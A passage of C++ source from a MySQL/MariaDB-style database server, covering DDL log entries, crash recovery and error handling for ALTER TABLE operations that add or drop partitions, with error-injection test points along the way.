ddl_log_entry.action_type= DDL_LOG_REPLACE_ACTION;
else
ddl_log_entry.action_type= DDL_LOG_RENAME_ACTION;
if (write_ddl_log_entry(&ddl_log_entry, &log_entry))
{
DBUG_RETURN(TRUE);
}
*next_entry= log_entry->entry_pos;
sub_elem->log_entry= log_entry;
insert_part_info_log_entry_list(part_info, log_entry);
} while (++j < num_subparts);
}
else
{
ddl_log_entry.next_entry= *next_entry;
ddl_log_entry.handler_name=
ha_resolve_storage_engine_name(part_elem->engine_type);
if (create_partition_name(tmp_path, sizeof(tmp_path), path,
part_elem->partition_name, TEMP_PART_NAME,
TRUE) ||
create_partition_name(normal_path, sizeof(normal_path), path,
part_elem->partition_name, NORMAL_PART_NAME,
TRUE))
DBUG_RETURN(TRUE);
ddl_log_entry.name= normal_path;
ddl_log_entry.from_name= tmp_path;
if (part_elem->part_state == PART_IS_CHANGED)
ddl_log_entry.action_type= DDL_LOG_REPLACE_ACTION;
else
ddl_log_entry.action_type= DDL_LOG_RENAME_ACTION;
if (write_ddl_log_entry(&ddl_log_entry, &log_entry))
{
DBUG_RETURN(TRUE);
}
*next_entry= log_entry->entry_pos;
part_elem->log_entry= log_entry;
insert_part_info_log_entry_list(part_info, log_entry);
}
}
} while (++i < num_elements);
DBUG_RETURN(FALSE);
}
/*
Log dropped partitions
SYNOPSIS
write_log_dropped_partitions()
lpt Struct containing parameters
RETURN VALUES
TRUE Error
FALSE Success
*/
static bool write_log_dropped_partitions(ALTER_PARTITION_PARAM_TYPE *lpt,
uint *next_entry,
const char *path,
bool temp_list)
{
DDL_LOG_ENTRY ddl_log_entry;
partition_info *part_info= lpt->part_info;
DDL_LOG_MEMORY_ENTRY *log_entry;
char tmp_path[FN_REFLEN + 1];
List_iterator<partition_element> part_it(part_info->partitions);
List_iterator<partition_element> temp_it(part_info->temp_partitions);
uint num_temp_partitions= part_info->temp_partitions.elements;
uint num_elements= part_info->partitions.elements;
DBUG_ENTER("write_log_dropped_partitions");
ddl_log_entry.action_type= DDL_LOG_DELETE_ACTION;
if (temp_list)
num_elements= num_temp_partitions;
while (num_elements--)
{
partition_element *part_elem;
if (temp_list)
part_elem= temp_it++;
else
part_elem= part_it++;
if (part_elem->part_state == PART_TO_BE_DROPPED ||
part_elem->part_state == PART_TO_BE_ADDED ||
part_elem->part_state == PART_CHANGED)
{
uint name_variant;
if (part_elem->part_state == PART_CHANGED ||
(part_elem->part_state == PART_TO_BE_ADDED &&
num_temp_partitions))
name_variant= TEMP_PART_NAME;
else
name_variant= NORMAL_PART_NAME;
if (part_info->is_sub_partitioned())
{
List_iterator<partition_element> sub_it(part_elem->subpartitions);
uint num_subparts= part_info->num_subparts;
uint j= 0;
do
{
partition_element *sub_elem= sub_it++;
ddl_log_entry.next_entry= *next_entry;
ddl_log_entry.handler_name=
ha_resolve_storage_engine_name(sub_elem->engine_type);
if (create_subpartition_name(tmp_path, sizeof(tmp_path), path,
part_elem->partition_name,
sub_elem->partition_name, name_variant))
DBUG_RETURN(TRUE);
ddl_log_entry.name= tmp_path;
if (write_ddl_log_entry(&ddl_log_entry, &log_entry))
{
DBUG_RETURN(TRUE);
}
*next_entry= log_entry->entry_pos;
sub_elem->log_entry= log_entry;
insert_part_info_log_entry_list(part_info, log_entry);
} while (++j < num_subparts);
}
else
{
ddl_log_entry.next_entry= *next_entry;
ddl_log_entry.handler_name=
ha_resolve_storage_engine_name(part_elem->engine_type);
if (create_partition_name(tmp_path, sizeof(tmp_path), path,
part_elem->partition_name, name_variant,
TRUE))
DBUG_RETURN(TRUE);
ddl_log_entry.name= tmp_path;
if (write_ddl_log_entry(&ddl_log_entry, &log_entry))
{
DBUG_RETURN(TRUE);
}
*next_entry= log_entry->entry_pos;
part_elem->log_entry= log_entry;
insert_part_info_log_entry_list(part_info, log_entry);
}
}
}
DBUG_RETURN(FALSE);
}
/*
Set execute log entry in ddl log for this partitioned table
SYNOPSIS
set_part_info_exec_log_entry()
part_info Partition info object
exec_log_entry Log entry
RETURN VALUES
NONE
*/
static void set_part_info_exec_log_entry(partition_info *part_info,
DDL_LOG_MEMORY_ENTRY *exec_log_entry)
{
part_info->exec_log_entry= exec_log_entry;
exec_log_entry->next_active_log_entry= NULL;
}
/*
Write the log entry to ensure that the shadow frm file is removed at
crash.
SYNOPSIS
write_log_drop_shadow_frm()
lpt Struct containing parameters
install_frm Should we log action to install shadow frm or should
the action be to remove the shadow frm file.
RETURN VALUES
TRUE Error
FALSE Success
DESCRIPTION
Prepare an entry to the ddl log indicating a drop/install of the shadow frm
file and its corresponding handler file.
*/
static bool write_log_drop_shadow_frm(ALTER_PARTITION_PARAM_TYPE *lpt)
{
partition_info *part_info= lpt->part_info;
DDL_LOG_MEMORY_ENTRY *log_entry;
DDL_LOG_MEMORY_ENTRY *exec_log_entry= NULL;
char shadow_path[FN_REFLEN + 1];
DBUG_ENTER("write_log_drop_shadow_frm");
build_table_shadow_filename(shadow_path, sizeof(shadow_path) - 1, lpt);
mysql_mutex_lock(&LOCK_gdl);
if (write_log_replace_delete_frm(lpt, 0UL, NULL,
(const char*)shadow_path, FALSE))
goto error;
log_entry= part_info->first_log_entry;
if (write_execute_ddl_log_entry(log_entry->entry_pos,
FALSE, &exec_log_entry))
goto error;
mysql_mutex_unlock(&LOCK_gdl);
set_part_info_exec_log_entry(part_info, exec_log_entry);
DBUG_RETURN(FALSE);
error:
release_part_info_log_entries(part_info->first_log_entry);
mysql_mutex_unlock(&LOCK_gdl);
part_info->first_log_entry= NULL;
my_error(ER_DDL_LOG_ERROR, MYF(0));
DBUG_RETURN(TRUE);
}
/*
Log renaming of shadow frm to real frm name and dropping of old frm
SYNOPSIS
write_log_rename_frm()
lpt Struct containing parameters
RETURN VALUES
TRUE Error
FALSE Success
DESCRIPTION
Prepare an entry to ensure that we complete the renaming of the frm
file if failure occurs in the middle of the rename process.
*/
static bool write_log_rename_frm(ALTER_PARTITION_PARAM_TYPE *lpt)
{
partition_info *part_info= lpt->part_info;
DDL_LOG_MEMORY_ENTRY *log_entry;
DDL_LOG_MEMORY_ENTRY *exec_log_entry= part_info->exec_log_entry;
char path[FN_REFLEN + 1];
char shadow_path[FN_REFLEN + 1];
DDL_LOG_MEMORY_ENTRY *old_first_log_entry= part_info->first_log_entry;
DBUG_ENTER("write_log_rename_frm");
part_info->first_log_entry= NULL;
build_table_filename(path, sizeof(path) - 1, lpt->db.str, lpt->table_name.str, "", 0);
build_table_shadow_filename(shadow_path, sizeof(shadow_path) - 1, lpt);
mysql_mutex_lock(&LOCK_gdl);
if (write_log_replace_delete_frm(lpt, 0UL, shadow_path, path, TRUE))
goto error;
log_entry= part_info->first_log_entry;
part_info->frm_log_entry= log_entry;
if (write_execute_ddl_log_entry(log_entry->entry_pos,
FALSE, &exec_log_entry))
goto error;
release_part_info_log_entries(old_first_log_entry);
mysql_mutex_unlock(&LOCK_gdl);
DBUG_RETURN(FALSE);
error:
release_part_info_log_entries(part_info->first_log_entry);
mysql_mutex_unlock(&LOCK_gdl);
part_info->first_log_entry= old_first_log_entry;
part_info->frm_log_entry= NULL;
my_error(ER_DDL_LOG_ERROR, MYF(0));
DBUG_RETURN(TRUE);
}
/*
Write the log entries to ensure that the drop partition command is completed
even in the presence of a crash.
SYNOPSIS
write_log_drop_partition()
lpt Struct containing parameters
RETURN VALUES
TRUE Error
FALSE Success
DESCRIPTION
Prepare entries to the ddl log indicating all partitions to drop and to
install the shadow frm file and remove the old frm file.
*/
static bool write_log_drop_partition(ALTER_PARTITION_PARAM_TYPE *lpt)
{
partition_info *part_info= lpt->part_info;
DDL_LOG_MEMORY_ENTRY *log_entry;
DDL_LOG_MEMORY_ENTRY *exec_log_entry= part_info->exec_log_entry;
char tmp_path[FN_REFLEN + 1];
char path[FN_REFLEN + 1];
uint next_entry= 0;
DDL_LOG_MEMORY_ENTRY *old_first_log_entry= part_info->first_log_entry;
DBUG_ENTER("write_log_drop_partition");
part_info->first_log_entry= NULL;
build_table_filename(path, sizeof(path) - 1, lpt->db.str, lpt->table_name.str, "", 0);
build_table_shadow_filename(tmp_path, sizeof(tmp_path) - 1, lpt);
mysql_mutex_lock(&LOCK_gdl);
if (write_log_dropped_partitions(lpt, &next_entry, (const char*)path,
FALSE))
goto error;
if (write_log_replace_delete_frm(lpt, next_entry, (const char*)tmp_path,
(const char*)path, TRUE))
goto error;
log_entry= part_info->first_log_entry;
part_info->frm_log_entry= log_entry;
if (write_execute_ddl_log_entry(log_entry->entry_pos,
FALSE, &exec_log_entry))
goto error;
release_part_info_log_entries(old_first_log_entry);
mysql_mutex_unlock(&LOCK_gdl);
DBUG_RETURN(FALSE);
error:
release_part_info_log_entries(part_info->first_log_entry);
mysql_mutex_unlock(&LOCK_gdl);
part_info->first_log_entry= old_first_log_entry;
part_info->frm_log_entry= NULL;
my_error(ER_DDL_LOG_ERROR, MYF(0));
DBUG_RETURN(TRUE);
}
/*
Write the log entries to ensure that the add partition command is not
executed at all if a crash before it has completed
SYNOPSIS
write_log_add_change_partition()
lpt Struct containing parameters
RETURN VALUES
TRUE Error
FALSE Success
DESCRIPTION
Prepare entries to the ddl log indicating all partitions to drop and to
remove the shadow frm file.
We always inject entries backwards in the list in the ddl log since we
don't know the entry position until we have written it.
*/
static bool write_log_add_change_partition(ALTER_PARTITION_PARAM_TYPE *lpt)
{
partition_info *part_info= lpt->part_info;
DDL_LOG_MEMORY_ENTRY *log_entry;
DDL_LOG_MEMORY_ENTRY *exec_log_entry= part_info->exec_log_entry;
char tmp_path[FN_REFLEN + 1];
char path[FN_REFLEN + 1];
uint next_entry= 0;
DDL_LOG_MEMORY_ENTRY *old_first_log_entry= part_info->first_log_entry;
/* write_log_drop_shadow_frm(lpt) must have been run first */
DBUG_ASSERT(old_first_log_entry);
DBUG_ENTER("write_log_add_change_partition");
build_table_filename(path, sizeof(path) - 1, lpt->db.str, lpt->table_name.str, "", 0);
build_table_shadow_filename(tmp_path, sizeof(tmp_path) - 1, lpt);
mysql_mutex_lock(&LOCK_gdl);
/* Relink the previous drop shadow frm entry */
if (old_first_log_entry)
next_entry= old_first_log_entry->entry_pos;
if (write_log_dropped_partitions(lpt, &next_entry, (const char*)path,
FALSE))
goto error;
log_entry= part_info->first_log_entry;
if (write_execute_ddl_log_entry(log_entry->entry_pos,
FALSE,
/* Reuse the old execute ddl_log_entry */
&exec_log_entry))
goto error;
mysql_mutex_unlock(&LOCK_gdl);
set_part_info_exec_log_entry(part_info, exec_log_entry);
DBUG_RETURN(FALSE);
error:
release_part_info_log_entries(part_info->first_log_entry);
mysql_mutex_unlock(&LOCK_gdl);
part_info->first_log_entry= old_first_log_entry;
my_error(ER_DDL_LOG_ERROR, MYF(0));
DBUG_RETURN(TRUE);
}
/*
Write description of how to complete the operation after first phase of
change partitions.
SYNOPSIS
write_log_final_change_partition()
lpt Struct containing parameters
RETURN VALUES
TRUE Error
FALSE Success
DESCRIPTION
We will write log entries that specify to
1) Install the shadow frm file.
2) Remove all partitions reorganized. (To be able to reorganize a partition
to the same name. Like in REORGANIZE p0 INTO (p0, p1),
so that the later rename from the new p0-temporary name to p0 don't
fail because the partition already exists.
3) Rename others to reflect the new naming scheme.
Note that it is written in the ddl log in reverse.
*/
static bool write_log_final_change_partition(ALTER_PARTITION_PARAM_TYPE *lpt)
{
partition_info *part_info= lpt->part_info;
DDL_LOG_MEMORY_ENTRY *log_entry;
DDL_LOG_MEMORY_ENTRY *exec_log_entry= part_info->exec_log_entry;
char path[FN_REFLEN + 1];
char shadow_path[FN_REFLEN + 1];
DDL_LOG_MEMORY_ENTRY *old_first_log_entry= part_info->first_log_entry;
uint next_entry= 0;
DBUG_ENTER("write_log_final_change_partition");
/*
Do not link any previous log entry.
Replace the revert operations with forced retry operations.
*/
part_info->first_log_entry= NULL;
build_table_filename(path, sizeof(path) - 1, lpt->db.str, lpt->table_name.str, "", 0);
build_table_shadow_filename(shadow_path, sizeof(shadow_path) - 1, lpt);
mysql_mutex_lock(&LOCK_gdl);
if (write_log_changed_partitions(lpt, &next_entry, (const char*)path))
goto error;
if (write_log_dropped_partitions(lpt, &next_entry, (const char*)path,
lpt->alter_info->partition_flags &
ALTER_PARTITION_REORGANIZE))
goto error;
if (write_log_replace_delete_frm(lpt, next_entry, shadow_path, path, TRUE))
goto error;
log_entry= part_info->first_log_entry;
part_info->frm_log_entry= log_entry;
/* Overwrite the revert execute log entry with this retry execute entry */
if (write_execute_ddl_log_entry(log_entry->entry_pos,
FALSE, &exec_log_entry))
goto error;
release_part_info_log_entries(old_first_log_entry);
mysql_mutex_unlock(&LOCK_gdl);
DBUG_RETURN(FALSE);
error:
release_part_info_log_entries(part_info->first_log_entry);
mysql_mutex_unlock(&LOCK_gdl);
part_info->first_log_entry= old_first_log_entry;
part_info->frm_log_entry= NULL;
my_error(ER_DDL_LOG_ERROR, MYF(0));
DBUG_RETURN(TRUE);
}
/*
Remove entry from ddl log and release resources for others to use
SYNOPSIS
write_log_completed()
lpt Struct containing parameters
RETURN VALUES
TRUE Error
FALSE Success
*/
static void write_log_completed(ALTER_PARTITION_PARAM_TYPE *lpt,
bool dont_crash)
{
partition_info *part_info= lpt->part_info;
DDL_LOG_MEMORY_ENTRY *log_entry= part_info->exec_log_entry;
DBUG_ENTER("write_log_completed");
DBUG_ASSERT(log_entry);
mysql_mutex_lock(&LOCK_gdl);
if (write_execute_ddl_log_entry(0UL, TRUE, &log_entry))
{
/*
Failed to write, Bad...
We have completed the operation but have log records to REMOVE
stuff that shouldn't be removed. What clever things could one do
here? An error output was written to the error output by the
above method so we don't do anything here.
*/
;
}
release_part_info_log_entries(part_info->first_log_entry);
release_part_info_log_entries(part_info->exec_log_entry);
mysql_mutex_unlock(&LOCK_gdl);
part_info->exec_log_entry= NULL;
part_info->first_log_entry= NULL;
DBUG_VOID_RETURN;
}
/*
Release all log entries
SYNOPSIS
release_log_entries()
part_info Partition info struct
RETURN VALUES
NONE
*/
static void release_log_entries(partition_info *part_info)
{
mysql_mutex_lock(&LOCK_gdl);
release_part_info_log_entries(part_info->first_log_entry);
release_part_info_log_entries(part_info->exec_log_entry);
mysql_mutex_unlock(&LOCK_gdl);
part_info->first_log_entry= NULL;
part_info->exec_log_entry= NULL;
}
/*
Final part of partition changes to handle things when under
LOCK TABLES.
SYNPOSIS
alter_partition_lock_handling()
lpt Struct carrying parameters
RETURN VALUES
NONE
*/
static void alter_partition_lock_handling(ALTER_PARTITION_PARAM_TYPE *lpt)
{
THD *thd= lpt->thd;
if (lpt->table)
{
/*
Remove all instances of the table and its locks and other resources.
*/
close_all_tables_for_name(thd, lpt->table->s, HA_EXTRA_NOT_USED, NULL);
}
lpt->table= 0;
lpt->table_list->table= 0;
if (thd->locked_tables_mode)
{
Diagnostics_area *stmt_da= NULL;
Diagnostics_area tmp_stmt_da(true);
if (unlikely(thd->is_error()))
{
/* reopen might fail if we have a previous error, use a temporary da. */
stmt_da= thd->get_stmt_da();
thd->set_stmt_da(&tmp_stmt_da);
}
if (unlikely(thd->locked_tables_list.reopen_tables(thd, false)))
sql_print_warning("We failed to reacquire LOCKs in ALTER TABLE");
if (stmt_da)
thd->set_stmt_da(stmt_da);
}
}
/**
Unlock and close table before renaming and dropping partitions.
@param lpt Struct carrying parameters
@return Always 0.
*/
static int alter_close_table(ALTER_PARTITION_PARAM_TYPE *lpt)
{
DBUG_ENTER("alter_close_table");
if (lpt->table->db_stat)
{
mysql_lock_remove(lpt->thd, lpt->thd->lock, lpt->table);
lpt->table->file->ha_close();
lpt->table->db_stat= 0; // Mark file closed
}
DBUG_RETURN(0);
}
/**
Handle errors for ALTER TABLE for partitioning.
@param lpt Struct carrying parameters
@param action_completed The action must be completed, NOT reverted
@param drop_partition Partitions has not been dropped yet
@param frm_install The shadow frm-file has not yet been installed
@param close_table Table is still open, close it before reverting
*/
void handle_alter_part_error(ALTER_PARTITION_PARAM_TYPE *lpt,
bool action_completed,
bool drop_partition,
bool frm_install,
bool close_table)
{
partition_info *part_info= lpt->part_info;
THD *thd= lpt->thd;
TABLE *table= lpt->table;
DBUG_ENTER("handle_alter_part_error");
DBUG_ASSERT(table->m_needs_reopen);
if (close_table)
{
/*
All instances of this table needs to be closed.
Better to do that here, than leave the cleaning up to others.
Aquire EXCLUSIVE mdl lock if not already aquired.
*/
if (!thd->mdl_context.is_lock_owner(MDL_key::TABLE, lpt->db.str,
lpt->table_name.str,
MDL_EXCLUSIVE))
{
if (wait_while_table_is_used(thd, table, HA_EXTRA_FORCE_REOPEN))
{
/* At least remove this instance on failure */
goto err_exclusive_lock;
}
}
/* Ensure the share is destroyed and reopened. */
if (part_info)
part_info= part_info->get_clone(thd);
close_all_tables_for_name(thd, table->s, HA_EXTRA_NOT_USED, NULL);
}
else
{
err_exclusive_lock:
/*
Temporarily remove it from the locked table list, so that it will get
reopened.
*/
thd->locked_tables_list.unlink_from_list(thd,
table->pos_in_locked_tables,
false);
/*
Make sure that the table is unlocked, closed and removed from
the table cache.
*/
mysql_lock_remove(thd, thd->lock, table);
if (part_info)
part_info= part_info->get_clone(thd);
close_thread_table(thd, &thd->open_tables);
lpt->table_list->table= NULL;
}
if (part_info->first_log_entry &&
execute_ddl_log_entry(thd, part_info->first_log_entry->entry_pos))
{
/*
We couldn't recover from error, most likely manual interaction
is required.
*/
write_log_completed(lpt, FALSE);
release_log_entries(part_info);
if (!action_completed)
{
if (drop_partition)
{
/* Table is still ok, but we left a shadow frm file behind. */
push_warning_printf(thd, Sql_condition::WARN_LEVEL_WARN, 1,
"%s %s",
"Operation was unsuccessful, table is still intact,",
"but it is possible that a shadow frm file was left behind");
}
else
{
push_warning_printf(thd, Sql_condition::WARN_LEVEL_WARN, 1,
"%s %s %s %s",
"Operation was unsuccessful, table is still intact,",
"but it is possible that a shadow frm file was left behind.",
"It is also possible that temporary partitions are left behind,",
"these could be empty or more or less filled with records");
}
}
else
{
if (frm_install)
{
/*
Failed during install of shadow frm file, table isn't intact
and dropped partitions are still there
*/
push_warning_printf(thd, Sql_condition::WARN_LEVEL_WARN, 1,
"%s %s %s",
"Failed during alter of partitions, table is no longer intact.",
"The frm file is in an unknown state, and a backup",
"is required.");
}
else if (drop_partition)
{
/*
Table is ok, we have switched to new table but left dropped
partitions still in their places. We remove the log records and
ask the user to perform the action manually. We remove the log
records and ask the user to perform the action manually.
*/
push_warning_printf(thd, Sql_condition::WARN_LEVEL_WARN, 1,
"%s %s",
"Failed during drop of partitions, table is intact.",
"Manual drop of remaining partitions is required");
}
else
{
/*
We failed during renaming of partitions. The table is most
certainly in a very bad state so we give user warning and disable
the table by writing an ancient frm version into it.
*/
push_warning_printf(thd, Sql_condition::WARN_LEVEL_WARN, 1,
"%s %s %s",
"Failed during renaming of partitions. We are now in a position",
"where table is not reusable",
"Table is disabled by writing ancient frm file version into it");
}
}
}
else
{
release_log_entries(part_info);
if (!action_completed)
{
/*
We hit an error before things were completed but managed
to recover from the error. An error occurred and we have
restored things to original so no need for further action.
*/
;
}
else
{
/*
We hit an error after we had completed most of the operation
and were successful in a second attempt so the operation
actually is successful now. We need to issue a warning that
even though we reported an error the operation was successfully
completed.
*/
push_warning_printf(thd, Sql_condition::WARN_LEVEL_WARN, 1,"%s %s",
"Operation was successfully completed by failure handling,",
"after failure of normal operation");
}
}
if (thd->locked_tables_mode)
{
Diagnostics_area *stmt_da= NULL;
Diagnostics_area tmp_stmt_da(true);
if (unlikely(thd->is_error()))
{
/* reopen might fail if we have a previous error, use a temporary da. */
stmt_da= thd->get_stmt_da();
thd->set_stmt_da(&tmp_stmt_da);
}
if (unlikely(thd->locked_tables_list.reopen_tables(thd, false)))
sql_print_warning("We failed to reacquire LOCKs in ALTER TABLE");
if (stmt_da)
thd->set_stmt_da(stmt_da);
}
DBUG_VOID_RETURN;
}
/**
Downgrade an exclusive MDL lock if under LOCK TABLE.
If we don't downgrade the lock, it will not be downgraded or released
until the table is unlocked, resulting in blocking other threads using
the table.
*/
static void downgrade_mdl_if_lock_tables_mode(THD *thd, MDL_ticket *ticket,
enum_mdl_type type)
{
if (thd->locked_tables_mode)
ticket->downgrade_lock(type);
}
/**
Actually perform the change requested by ALTER TABLE of partitions
previously prepared.
@param thd Thread object
@param table Original table object with new part_info
@param alter_info ALTER TABLE info
@param create_info Create info for CREATE TABLE
@param table_list List of the table involved
@param db Database name of new table
@param table_name Table name of new table
@return Operation status
@retval TRUE Error
@retval FALSE Success
@note
Perform all ALTER TABLE operations for partitioned tables that can be
performed fast without a full copy of the original table.
*/
uint fast_alter_partition_table(THD *thd, TABLE *table,
Alter_info *alter_info,
HA_CREATE_INFO *create_info,
TABLE_LIST *table_list,
const LEX_CSTRING *db,
const LEX_CSTRING *table_name)
{
/* Set-up struct used to write frm files */
partition_info *part_info;
ALTER_PARTITION_PARAM_TYPE lpt_obj;
ALTER_PARTITION_PARAM_TYPE *lpt= &lpt_obj;
bool action_completed= FALSE;
bool close_table_on_failure= FALSE;
bool frm_install= FALSE;
MDL_ticket *mdl_ticket= table->mdl_ticket;
DBUG_ENTER("fast_alter_partition_table");
DBUG_ASSERT(table->m_needs_reopen);
part_info= table->part_info;
lpt->thd= thd;
lpt->table_list= table_list;
lpt->part_info= part_info;
lpt->alter_info= alter_info;
lpt->create_info= create_info;
lpt->db_options= create_info->table_options_with_row_type();
lpt->table= table;
lpt->key_info_buffer= 0;
lpt->key_count= 0;
lpt->db= *db;
lpt->table_name= *table_name;
lpt->copied= 0;
lpt->deleted= 0;
lpt->pack_frm_data= NULL;
lpt->pack_frm_len= 0;
if (table->file->alter_table_flags(alter_info->flags) &
HA_PARTITION_ONE_PHASE)
{
/*
In the case where the engine supports one phase online partition
changes it is not necessary to have any exclusive locks. The
correctness is upheld instead by transactions being aborted if they
access the table after its partition definition has changed (if they
are still using the old partition definition).
The handler is in this case responsible to ensure that all users
start using the new frm file after it has changed. To implement
one phase it is necessary for the handler to have the master copy
of the frm file and use discovery mechanisms to renew it. Thus
write frm will write the frm, pack the new frm and finally
the frm is deleted and the discovery mechanisms will either restore
back to the old or installing the new after the change is activated.
Thus all open tables will be discovered that they are old, if not
earlier as soon as they try an operation using the old table. One
should ensure that this is checked already when opening a table,
even if it is found in the cache of open tables.
change_partitions will perform all operations and it is the duty of
the handler to ensure that the frm files in the system gets updated
in synch with the changes made and if an error occurs that a proper
error handling is done.
If the MySQL Server crashes at this moment but the handler succeeds
in performing the change then the binlog is not written for the
change. There is no way to solve this as long as the binlog is not
transactional and even then it is hard to solve it completely.
The first approach here was to downgrade locks. Now a different approach
is decided upon. The idea is that the handler will have access to the
Alter_info when store_lock arrives with TL_WRITE_ALLOW_READ. So if the
handler knows that this functionality can be handled with a lower lock
level it will set the lock level to TL_WRITE_ALLOW_WRITE immediately.
Thus the need to downgrade the lock disappears.
1) Write the new frm, pack it and then delete it
2) Perform the change within the handler
*/
if (mysql_write_frm(lpt, WFRM_WRITE_SHADOW) ||
mysql_change_partitions(lpt))
{
goto err;
}
}
else if (alter_info->partition_flags & ALTER_PARTITION_DROP)
{
/*
Now after all checks and setting state on dropped partitions we can
start the actual dropping of the partitions.
Drop partition is actually two things happening. The first is that
a lot of records are deleted. The second is that the behaviour of
subsequent updates and writes and deletes will change. The delete
part can be handled without any particular high lock level by
transactional engines whereas non-transactional engines need to
ensure that this change is done with an exclusive lock on the table.
The second part, the change of partitioning does however require
an exclusive lock to install the new partitioning as one atomic
operation. If this is not the case, it is possible for two
transactions to see the change in a different order than their
serialisation order. Thus we need an exclusive lock for both
transactional and non-transactional engines.
For LIST partitions it could be possible to avoid the exclusive lock
(and for RANGE partitions if they didn't rearrange range definitions
after a DROP PARTITION) if one ensured that failed accesses to the
dropped partitions was aborted for sure (thus only possible for
transactional engines).
0) Write an entry that removes the shadow frm file if crash occurs
1) Write the new frm file as a shadow frm
2) Get an exclusive metadata lock on the table (waits for all active
transactions using this table). This ensures that we
can release all other locks on the table and since no one can open
the table, there can be no new threads accessing the table. They
will be hanging on this exclusive lock.
3) Write the ddl log to ensure that the operation is completed
even in the presence of a MySQL Server crash (the log is executed
before any other threads are started, so there are no locking issues).
4) Close the table that have already been opened but didn't stumble on
the abort locked previously. This is done as part of the
alter_close_table call.
5) Write the bin log
Unfortunately the writing of the binlog is not synchronised with
other logging activities. So no matter in which order the binlog
is written compared to other activities there will always be cases
where crashes make strange things occur. In this placement it can
happen that the ALTER TABLE DROP PARTITION gets performed in the
master but not in the slaves if we have a crash, after writing the
ddl log but before writing the binlog. A solution to this would
require writing the statement first in the ddl log and then
when recovering from the crash read the binlog and insert it into
the binlog if not written already.
6) Install the previously written shadow frm file
7) Prepare handlers for drop of partitions
8) Drop the partitions
9) Remove entries from ddl log
10) Reopen table if under lock tables
11) Complete query
We insert Error injections at all places where it could be interesting
to test if recovery is properly done.
*/
if (write_log_drop_shadow_frm(lpt) ||
ERROR_INJECT_CRASH("crash_drop_partition_1") ||
ERROR_INJECT_ERROR("fail_drop_partition_1") ||
mysql_write_frm(lpt, WFRM_WRITE_SHADOW) ||
ERROR_INJECT_CRASH("crash_drop_partition_2") ||
ERROR_INJECT_ERROR("fail_drop_partition_2") ||
wait_while_table_is_used(thd, table, HA_EXTRA_NOT_USED) ||
ERROR_INJECT_CRASH("crash_drop_partition_3") ||
ERROR_INJECT_ERROR("fail_drop_partition_3") ||
(close_table_on_failure= TRUE, FALSE) ||
write_log_drop_partition(lpt) ||
(action_completed= TRUE, FALSE) ||
ERROR_INJECT_CRASH("crash_drop_partition_4") ||
ERROR_INJECT_ERROR("fail_drop_partition_4") ||
alter_close_table(lpt) ||
(close_table_on_failure= FALSE, FALSE) ||
ERROR_INJECT_CRASH("crash_drop_partition_5") ||
ERROR_INJECT_ERROR("fail_drop_partition_5") ||
((!thd->lex->no_write_to_binlog) &&
(write_bin_log(thd, FALSE,
thd->query(), thd->query_length()), FALSE)) ||
ERROR_INJECT_CRASH("crash_drop_partition_6") ||
ERROR_INJECT_ERROR("fail_drop_partition_6") ||
(frm_install= TRUE, FALSE) ||
mysql_write_frm(lpt, WFRM_INSTALL_SHADOW) ||
(frm_install= FALSE, FALSE) ||
ERROR_INJECT_CRASH("crash_drop_partition_7") ||
ERROR_INJECT_ERROR("fail_drop_partition_7") ||
mysql_drop_partitions(lpt) ||
ERROR_INJECT_CRASH("crash_drop_partition_8") ||
ERROR_INJECT_ERROR("fail_drop_partition_8") ||
(write_log_completed(lpt, FALSE), FALSE) ||
ERROR_INJECT_CRASH("crash_drop_partition_9") ||
ERROR_INJECT_ERROR("fail_drop_partition_9") ||
(alter_partition_lock_handling(lpt), FALSE))
{
handle_alter_part_error(lpt, action_completed, TRUE, frm_install,
close_table_on_failure);
goto err;
}
}
else if ((alter_info->partition_flags & ALTER_PARTITION_ADD) &&
(part_info->part_type == RANGE_PARTITION ||
part_info->part_type == LIST_PARTITION))
{
/*
ADD RANGE/LIST PARTITIONS
In this case there are no tuples removed and no tuples are added.
Thus the operation is merely adding a new partition. Thus it is
necessary to perform the change as an atomic operation. Otherwise
someone reading without seeing the new partition could potentially
miss updates made by a transaction serialised before it that are
inserted into the new partition.
0) Write an entry that removes the shadow frm file if crash occurs
1) Write the new frm file as a shadow frm file
2) Get an exclusive metadata lock on the table (waits for all active
transactions using this table). This ensures that we
can release all other locks on the table and since no one can open
the table, there can be no new threads accessing the table. They
will be hanging on this exclusive lock.
3) Write an entry to remove the new parttions if crash occurs
4) Add the new partitions.
5) Close all instances of the table and remove them from the table cache.
6) Write binlog
7) Now the change is completed except for the installation of the
new frm file. We thus write an action in the log to change to
the shadow frm file
8) Install the new frm file of the table where the partitions are
added to the table.
9) Remove entries from ddl log
10)Reopen tables if under lock tables
11)Complete query
*/
if (write_log_drop_shadow_frm(lpt) ||
ERROR_INJECT_CRASH("crash_add_partition_1") ||
ERROR_INJECT_ERROR("fail_add_partition_1") ||
mysql_write_frm(lpt, WFRM_WRITE_SHADOW) ||
ERROR_INJECT_CRASH("crash_add_partition_2") ||
ERROR_INJECT_ERROR("fail_add_partition_2") ||
wait_while_table_is_used(thd, table, HA_EXTRA_NOT_USED) ||
ERROR_INJECT_CRASH("crash_add_partition_3") ||
ERROR_INJECT_ERROR("fail_add_partition_3") ||
(close_table_on_failure= TRUE, FALSE) ||
write_log_add_change_partition(lpt) ||
ERROR_INJECT_CRASH("crash_add_partition_4") ||
ERROR_INJECT_ERROR("fail_add_partition_4") ||
mysql_change_partitions(lpt) ||
ERROR_INJECT_CRASH("crash_add_partition_5") ||
ERROR_INJECT_ERROR("fail_add_partition_5") ||
(close_table_on_failure= FALSE, FALSE) ||
alter_close_table(lpt) ||
ERROR_INJECT_CRASH("crash_add_partition_6") ||
ERROR_INJECT_ERROR("fail_add_partition_6") ||
((!thd->lex->no_write_to_binlog) &&
(write_bin_log(thd, FALSE,
thd->query(), thd->query_length()), FALSE)) ||
ERROR_INJECT_CRASH("crash_add_partition_7") ||
ERROR_INJECT_ERROR("fail_add_partition_7") ||
write_log_rename_frm(lpt) ||
(action_completed= TRUE, FALSE) ||
ERROR_INJECT_CRASH("crash_add_partition_8") ||
ERROR_INJECT_ERROR("fail_add_partition_8") ||
(frm_install= TRUE, FALSE) ||
mysql_write_frm(lpt, WFRM_INSTALL_SHADOW) ||
(frm_install= FALSE, FALSE) ||
ERROR_INJECT_CRASH("crash_add_partition_9") ||
ERROR_INJECT_ERROR("fail_add_partition_9") ||
(write_log_completed(lpt, FALSE), FALSE) ||
ERROR_INJECT_CRASH("crash_add_partition_10") ||
ERROR_INJECT_ERROR("fail_add_partition_10") ||
(alter_partition_lock_handling(lpt), FALSE))
{
handle_alter_part_error(lpt, action_completed, FALSE, frm_install,
close_table_on_failure);
goto err;
}
}
else
{
